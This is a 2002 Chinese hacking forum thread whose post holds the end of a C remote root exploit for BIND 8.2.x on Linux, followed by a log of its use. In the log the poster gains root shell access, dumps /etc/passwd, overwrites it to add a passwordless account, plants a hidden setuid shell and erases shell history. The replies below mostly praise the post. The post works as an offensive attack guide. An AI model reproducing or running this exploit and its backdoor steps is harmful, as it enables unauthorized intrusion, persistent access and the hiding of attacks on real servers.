if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

i=sizeof(struct sockaddr_in);
if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
struct netbuf nb;
ioctl(sck[1],((‘S‘<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck[1],((‘T‘<<8)|144),&nb);
}
n=ntohs(adr.sin_port);

asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
asmcode[4+48+3]=(unsigned char)(n&0xff);

if(write(sck[0],msg,sizeof(msg))==-1) goto err;
if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;

printf("stack dump:\n");
for(i=0;i<(cnt-512);i++){
printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned char)buffer[512+i]);
}
printf("\n\n");

fp=rev(*(unsigned int*)&buffer[532]);
ofs=(0xfe)-((fp-(fp&0xffffff00))&0xff);
cnt=163;

if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
printf("system does not seem to be a vulnerable linux\n");exit(1);
}
if(flag==1){
printf("system seems to be running bind 8.2.x on a linux\n");exit(-1);
}
if(cnt<(ofs+28)){
printf("frame ptr is too low to be successfully exploited\n");exit(-1);
}


jmp=rev(fp-586);
ptr6=rev((fp&0xffffff00)-12);
fp=rev(fp&0xffffff00);

printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

b=buffer;
memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
for(i=0;i<(128>>1);i++,b++) *b++=0x01;
memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

*b++=28;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,&ptr6,4);b+=4;

cnt-=ofs+28;
for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;


if(write(sck[0],buffer,b-buffer)==-1) goto err;
sleep(1);printf("sent!\n");

write(sck[1],"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck[1],&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck[1],buf,cnt);
}
if(FD_ISSET(sck[1],&fds)){
if((cnt=read(sck[1],buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
exit(0);
err:
perror("error");exit(-1);
}
^D

# gcc -o bind bind.c -lnsl -lsocket
# ./bind
copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/
bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86

usage: ./bind address [-s][-e]
-s send infoleak packet
-e send exploit packet
#./bind 192.168.0.20 -e
copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/
bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86

stack dump:
42 24 08 08 02 00 b1 ed ca 42 c8 06 95 d0 15 c0
00 cb fa c0 a8 fc ff bf d6 58 08 08 90 3f 0d 08
f4 a4 10 40 16 00 00 00 01 00 00 00 90 3f 0d 08
05 00 00 00 e0 e7 0b 08 16 00 00 00 01 00 00 00
a0 e0 05 08 f4 a4 10 40 c4 fc ff bf 60 e9 0c 08
00 00 00 00 c8 fd ff bf c8 fd ff bf 61 d6 05 08
90 3f 0d 08 bc 76 10 40 b4 11 10 40 14 fe ff bf
01 00 00 00 bc 76 10 40

frame ptr=0xbffffc00 adr=bffffa5e ofs=86 port=e1fa connected! sent!
Linux localhost.localdomain 2.2.14-5.0 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown
Id
uid=0(root) gid=0(root)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2aemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0ync:/sbin:/bin/sync
shutdown:x:6:0hutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0perator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
gdm:x:42:42::/home/gdm:/bin/bash
william:x:500:500:William Wang:/home/william:/bin/bash
www:x:688:501:web user:/home/www:/bin/bash
xeye:x:689:501:Xeye web user:/home/xeye:/bin/bash
td_ftp:x:655:50:TD Bank FTP Client:/home/td_bank:/bin/bash
cyberplex:x:690:100:Cyber:/home/cyberplex:/bin/bash
echo “test::1:0::/:/bin/bash” > /etc/passwd
telnet localhost
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is ‘^]‘.

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686
login: test
bash$ id
uid=1(bin) gid=0(root) groups=0(root)
bash$ exit
logout
Connection closed by foreign host.
mkdir /usr/lib/…
cp /bin/sh /usr/lib/…/.x
chmod +s /usr/lib/…/.x
exit
#rm –rf /tmp/*.c
#mv bind /usr/lib/…
#mv test /usr/lib/…
#mv lpset /usr/lib/…
#mv snmp /usr/lib/…
#cd
#rm –rf .sh_history /.sh_history
#chmod 777 /usr/lib/…
#exit
$exit
-------------------------------------------------test--------------------------------------------------------------

----------------------------------------------------------
H4技术组：http://www.h4h4.com
编辑　删除　发表时间发表于 2002-03-24.14:41:10　 MSIE 6.0 Windows 2000IP: 已记录
龙帅哥哦
级别：老 站 友
威望：0
经验：0
货币：2044
体力：100
来源：福建
总发帖数：444
注册日期：2002-01-24
查看　邮件　主页　QQ　消息　引用　复制　下载　

很好。
----------------------------------------------------------
我不是高手但我想成为高手
编辑　删除　发表时间发表于 2002-03-24.14:55:38　 MSIE 6.0 Windows 98IP: 已记录
amanl帅哥哦
级别：中级站友
威望：0
经验：0
货币：50
体力：2.5
来源：福建
总发帖数：65
注册日期：2002-02-09
查看　邮件　主页　QQ　消息　引用　复制　下载　

这些代码很不错，下次能不能发布一下LINUX，UNIX类的漏洞
编辑　删除　发表时间发表于 2002-03-24.15:06:44　 MSIE 6.0b Windows 2000IP: 已记录
冷西风帅哥哦
级别：精灵
威望：0
经验：7
货币：1456
体力：98
来源：netxeyes
总发帖数：327
注册日期：2002-03-17
查看　邮件　主页　QQ　消息　引用　复制　下载　

什么呀 这么麻烦 永远的西部 永远的新疆
----------------------------------------------------------
小人物发言啦！
编辑　删除　发表时间发表于 2002-03-24.16:10:06　 MSIE 6.0 Windows 2000IP: 已记录
netfox帅哥哦
级别：圣骑士
威望：0
经验：10
货币：479
体力：60.8
来源：山东
总发帖数：235
注册日期：2002-03-18
查看　邮件　主页　QQ　消息　引用　复制　下载　

虽然我不懂，但我知道它一定很好:-b
----------------------------------------------------------
有约不来过夜半，
闲敲棋子落灯花。
编辑　删除　发表时间发表于 2002-03-24.16:34:05　 MSIE 6.0 Windows 2000IP: 已记录
风云再起帅哥哦
级别：老 站 友
威望：0
经验：0
货币：1081
体力：69.6
来源：211.156.33.*
总发帖数：226
注册日期：2002-03-13
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好,正在学这个。
----------------------------------------------------------
大家好，我做商务中国务恩博的代理，论坛里哪位兄弟如果需要买空间，来找我吧。呵呵。(不好意思，广告做到这里了）
我的网站：http://www.linkwebcn.com/
QQ:1977366
编辑　删除　发表时间发表于 2002-03-28.10:06:20　 MSIE 5.01 Windows 2000IP: 已记录
八戒帅哥哦
级别：高级站友
威望：0
经验：0
货币：895
体力：61.2
来源：江西
总发帖数：197
注册日期：2002-03-28
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很好，但我不懂！
编辑　删除　发表时间发表于 2002-03-29.00:33:22　 MSIE 6.0 Windows 2000IP: 已记录
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